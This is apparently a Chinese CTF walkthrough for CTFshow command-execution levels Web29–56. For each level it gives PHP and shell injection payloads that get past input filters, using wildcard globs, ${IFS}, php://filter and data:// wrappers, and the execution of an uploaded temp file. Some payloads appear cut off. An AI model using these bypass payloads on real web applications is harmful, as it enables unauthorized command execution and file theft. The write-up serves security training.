CTFshow—远程命令执行

29-35

Web29

代码利用正则匹配过滤了flag,后面加了/i所以不区分大小写。

可以利用通配符绕过

匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *

? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0

abcd\] 匹配abcd中任何一个字符 \[a-z\] 表示范围a到z,表示范围的意思 \[\]匹配中括号中任意一个字符 ls file 0 ?c=system('cat f*');//glob1 ?c=system('cat f?ag.php');//glob2 ?c=system('cat f\lag.php');//转义字符实现绕过 ?c=system("cat f''lag.php"); ?c=eval($_GET[1]);&1=system('cat flag.php'); //马中马嵌套过滤 #### Web30 和上一题差不多就是多了system和php的过滤,system用passthru代替即可。 ?c=passthru('cat fla?.p?p'); ![](https://i-blog.csdnimg.cn/direct/f0966f9b2e174e528b02ab2a93712ffc.png) #### Web31 这题多了cat、空格、单引号、逗号的过滤。 ![](https://i-blog.csdnimg.cn/direct/5336da91d5874ffe925c9289ff932ba6.png) cat代替命令 (1)more:一页一页的显示档案内容 (2)less:与 more 类似,但是比 more 更好的是,他可以\[pg dn\]\[pg up\]翻页 (3)head:查看头几行 (4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 (5)tail:查看尾几行 (6)nl:显示的时候,顺便输出行号 (7)od:以二进制的方式读取档案内容 (8)vi:一种编辑器,这个也可以查看 (9)vim:一种编辑器,这个也可以查看 (10)sort:可以查看 (11)uniq:可以查看 (12)file -f:报错出具体内容 空格代替 **\<,\<\>,%20(space),%09(tab),$IFS$9, I F S , {IFS},IFS,IFS** ?c=passthru("more%09fla*"); #### Web32 这题过滤多了 ; 和 ( 。分号我们可以用 ?\> 代替,因为php中最后一句代码可以不用加 ;,但是 ( 被过滤了也就意味着不能用命令执行函数了,因为命令执行函数都要使用到括号。 ![](https://i-blog.csdnimg.cn/direct/3fb3c47a6dd04dfdbdade54b131a7697.png) 这里我们可以使用文件包含函数,如include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile,PHP中文件包含函数可以不用使用括号。 payload如下,解释一下啥意思,使用include函数包含参数1,而参数1是通过get获取的flag.php。 php:///filter:是 PHP 中用于数据流处理的流封装协议之一,它允许你在读取或写入文件时,通过指定的过滤器对数据进行处理。 read=convert.base64-encode:这部分指定了过滤器类型为读取(read)操作,并且使用convert.base64-encode过滤器对数据进行 Base64 编码。Base64 编码是一种将二进制数据转换为 ASCII 字符串的方法,常用于在需要文本表示二进制数据的场合。 resource=:这部分后面应该跟上你想要读取并编码的文件路径 ?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php 返回的数据是base64编码,拿去解码即可。 ![](https://i-blog.csdnimg.cn/direct/ee57f76ca6404835b1098331863f74aa.png) #### Web33 和上一题并无啥区别,多了双引号的过滤,但是我们上一题的poyload并无用到双引号,所以直接套用上一题的payload即可。 ?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php ![](https://i-blog.csdnimg.cn/direct/6dab8d556dce4a90a6ca8a62c7aa1da8.png) #### Web34 观察了一下,只是多了冒号的过滤,上一题的payload我们没有用到冒号,所以继续套用即可。 ?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php ![](https://i-blog.csdnimg.cn/direct/c802c6924b394777b5df736d32e36474.png) #### Web35 过滤多了左尖括号和等于号,无所谓,依旧套用payload即可。 ?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php ![](https://i-blog.csdnimg.cn/direct/85a46986ab2847fa888bddc9b0080810.png) ## 36-40 #### Web36 这题过滤了0-9数字,我还想这个%0a改用什么代替呢,一查原来include函数不需要空格也行,那不就好办了吗,直接套用web35的payload即可,去掉%0a,把参数1改为字母就行。 ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php ![](https://i-blog.csdnimg.cn/direct/4e11ed924b274114834f97f76fc4ca4d.png) #### Web37 这题是通过C传参,接着使用include包含C,也就是把C的文件内容显示到页面上面,但是过滤了flag。我们可以用data伪协议,伪协议中的data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行,也就是说我们可以通过data伪协议造成rce。 data://协议用法: data://text/plain, data://text/plain;base64, ![](https://i-blog.csdnimg.cn/direct/534e7868d63746fcaa3787b152dd91cb.png) payload ?c=data://text/plain, #### Web38 这题多了对php的过滤,直接套用上一题的payload坑定是不行了,查了一下原来在PHP中居然可以使用短标签 = 代替php,而且php不是必须的可以去掉,逆天了。 ?c=data://text/plain, ![](https://i-blog.csdnimg.cn/direct/a5f9493f39d2457fa7e993932cb52ccb.png) #### Web39 这题没啥难度,就是拼接了个php,问题不大,直接套用上一题的payload即可。 ?c=data://text/plain, ![](https://i-blog.csdnimg.cn/direct/145873174fc54dee9753ad90434e9c90.png) #### Web40 这题难度就上来了,可以看到几乎把所有的字符都过滤,只留下一个英文的括号。 ![](https://i-blog.csdnimg.cn/direct/17eded648d21427e835b8a92abaddd8d.png) 这题要使用很多函数,我们先来了解一下。 print_r()函数不用多说,函数用于打印变量,作用对象是变量。 scandir()函数函数会扫描这个目录,并返回一个包含目录中所有文件和目录名的数组,也就是说scandir()会列出当前目录下的文件。 那么我们可以使用print_r(scandir('.'))来列出当前目录下的所有文件,并且打印在web页面。但是单引号和小数点都被过滤了,我们这里要找其他的函数来代替。 通过查找我们得知 localeconv():返回包含本地数字及货币信息格式的[数组](https://baike.so.com/doc/5545345-5760453.html "数组"),其中数组中的第一个为点号(.) ![](https://i-blog.csdnimg.cn/direct/d9b44f7ff967441fbe9b0b5dada8d3a0.png) 那不妨这样子想,如果我们能找到一个函数截取localeconv()的值,使其只返回第一个值那我们不就得到小数点了吗? pos() 和current() 函数返回数组中的当前元素(单元),默认取第一个值。 ![](https://i-blog.csdnimg.cn/direct/59747e31bb4c46ad82a0336c74ab7915.png) 此时我们可以打印出当前目录下的文件名,无需单引号也行好像。 ?c=print_r(scandir(pos(localeconv()))); ![](https://i-blog.csdnimg.cn/direct/0bcdf915eea940e1a84cc4f404707817.png) OK,现在的问题是怎么读取文件里面的内容呢,通过查阅得知, next():函数将内部指针指向数组中的下一个元素,并输出。 但是通过我们刚刚列出来的数组得知目前的顺序是 ".","..","flag.php","index.php",那我们直接把它们的顺序调换不就刚刚好吗,也就是"index.php","flag.php","..",".",那么此时next()函数指向的下一个刚好是flag.php。 通过查找 array_reverse():数组逆序,将文件目录反转。 此时我们便可以构造payload。 ?c=print_r(next(array_reverse(scandir(current(localeconv()))))); 但依旧不行,因为print_r函数打印的是变量,而我们要输出的是文件,于是我们这里就只能用show_source或者highlight_file。 ?c=show_source(next(array_reverse(scandir(current(localeconv()))))); ![](https://i-blog.csdnimg.cn/direct/519749889d24473783df9232861075db.png) ## 41-45 #### Web41 没复现出来 #### Web42 这题会对我们输入的参数拼接一个重定向,解释一下 \> 代表重定向到哪里 /dev/null 代表空设备文件 2\> 表示stderr标准错误 \& 表示等同于的意思,2\>\&1,表示2的输出重定向等同于1 1 表示stdout标准输出,系统默认值是1,所以\>/dev/null等同于 1\>/dev/null 因此,\>/dev/null 2\>\&1 也可以写成1\> /dev/null 2\> \&1 1\> /dev/null:首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,不显示任1何信息。 2\> \&1:接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。 ![](https://i-blog.csdnimg.cn/direct/e902cd455fc84e3b9f2b74e52c2d3681.png) 所以我们直接截断后面的语句即可。 ?c=cat flag.php%0a ?c=cat flag.php|| ?c=cat flag.php%26 ?c=cat flag.php%26%26 ?c=cat flag.php; #### Web43 和上题目一摸一样的,只不过是多了cat的过滤,我们直接换成more即可。 ![](https://i-blog.csdnimg.cn/direct/19cfefc7ae4a4752b8894e83c8c7efd3.png) #### Web44 多了flag的过滤,用我们上面说过的正则绕过即可。 ?c=more%20fla*|| ![](https://i-blog.csdnimg.cn/direct/dd17ca193d1a4b7694c1a69064f62431.png) #### Web45 这题多了分号和空格的过滤。我们直接用%09代替空格即可 ?c=more%09fla*|| ## ![](https://i-blog.csdnimg.cn/direct/e4a1a802d7914dc3a7b8c0cc4ffc2dc5.png) ## 46-50 #### Web46 过滤了数字和\*,但是%09还能用。 ?c=more%09fl?g.php|| ![](https://i-blog.csdnimg.cn/direct/c4c0eeec9a034c8cb6b71adf3b0967f2.png) #### Web47 这题对好几个查看flag的命令都做了过滤,但是没有过滤tac。 ?c=tac%09fl?g.php|| ![](https://i-blog.csdnimg.cn/direct/61f98fc840634e3e9e8ec68fb0456034.png) #### Web48 依旧没有过滤tac,直接套用上一题的payload即可。 ![](https://i-blog.csdnimg.cn/direct/dc0b1cd134844f9985b1dbb0c7a42d85.png) #### Web49 还是上一题的payload ![](https://i-blog.csdnimg.cn/direct/63ddabc0c62f4ed4ab6e2a506db679a5.png) #### Web50 这题多了对%过滤也就是说%09不能用了,那我们用\<去代替空格即可,奇怪的是用?通配符不知道为啥不行。 c=tacfl""ag.php|| ![](https://i-blog.csdnimg.cn/direct/393c4ffb115e41d4901a34ad2a09399c.png) #### Web52 这题多了尖括号的过滤。 ![](https://i-blog.csdnimg.cn/direct/6c77455651724269b6c58de468708c2f.png) 一开始直接查看flag,发现不对,说明真正的flag文件不在这个目录。 c=nl${IFS}fl""ag.php|| ![](https://i-blog.csdnimg.cn/direct/d4d8e0491b7f47c8a26ba5df3ded20a4.png) 看一下根目录,发现根目录有个flag c=ls${IFS}/|| ![](https://i-blog.csdnimg.cn/direct/0fb6b26646354dc493a0317a2c26234c.png) 直接查看根目录的flag即可。 ?c=nl${IFS}/fl""ag|| #### Web53 没啥好讲的 c=nl${IFS}fl""ag.php ![](https://i-blog.csdnimg.cn/direct/a8918723082b438f9006cda40e97b2d9.png) #### Web54 这题过滤了很多东西,flag不能用 \* 或者 ' ' 来绕过了,nl也被过滤了,但是我们可以用uniq代替。 c=uniq${IFS}f???.php ![](https://i-blog.csdnimg.cn/direct/4ab8546df2d9410791b9ef0c508f5d7a.png) #### Web55 过滤了字母,但是没有过滤数字,可以用base64编码,相当于调用/bin目录下的base64编码程序对flag.php进行编码输出 c=/???/????64%20????.??? 等同于c=/bin/base64 flag.php ![](https://i-blog.csdnimg.cn/direct/dac3de8f1eb947e69c36e9f80da02360.png) #### Web46 这题的难度也是直线上升好吧,可以看到数字和字母都过滤了,还有一些特殊符号也是过滤掉了。 ![](https://i-blog.csdnimg.cn/direct/d3ce6547bfcd449c8ba4ae4b3758f1f3.png) 但是没有过滤小数点,在linux中以 . /file 这样的方式来执行文件的话,file是不需要有x权限的,而且会用bash去执行file中的命令。那么我们如果上传一个可控文件,再往里面写入一个命令,那么不就是可以rce了吗。 这篇文章写的很好,可以看一下。 [无字母数字webshell之提高篇 \| 离别歌](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html "无字母数字webshell之提高篇 | 离别歌") 那么我们该如何去表示出我们的文件,因为过滤了字母。在PHP上传的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示"大写字母"的glob通配符,就能精准找到我们要执行的文件。 ?c=.%20/???/????????[@-[] 先构造一个上传页面。 POST数据包POC


抓包进行修改。 ![](https://i-blog.csdnimg.cn/direct/93835a0ce21d4c1b91fe2769a7d551ff.png) 往文件中添加命令。 #!/bin/sh ls ![](https://i-blog.csdnimg.cn/direct/06262b3313ae4089a09e3bc87f3d3e86.png) 读取flag,如果发包没有回显flag,多发几次即可。 ![](https://i-blog.csdnimg.cn/direct/ee729a62370244f685a63d1bbacd95cc.png)

相关推荐
一路向北_.6 个月前
CTFshow 命令执行 web37-web40
网络安全·web·命令执行
网安小t7 个月前
ctfshow-命令执行
网络安全·渗透测试·命令执行
板栗妖怪9 个月前
命令执行漏洞
渗透·命令执行
kali-Myon10 个月前
ctfshow-web入门-命令执行(web30-web36)
前端·学习·web安全·php·web·命令执行
kali-Myon10 个月前
ctfshow-web入门-命令执行(web37-web40)
前端·学习·安全·web安全·php·web·命令执行
七天啊10 个月前
HackTheBox-Machines--Cronos
sql注入·命令执行·hack the box·计划任务写入shell提权
I_WORM1 年前
CTFHUB RCE作业
rce·命令执行·ctfhub·作业
Ryongao1 年前
命令执行讲解和函数
网络安全·命令执行
补天阁1 年前
CTFshow web(文件上传158-161)
前端·web安全·文件上传·文件包含·命令执行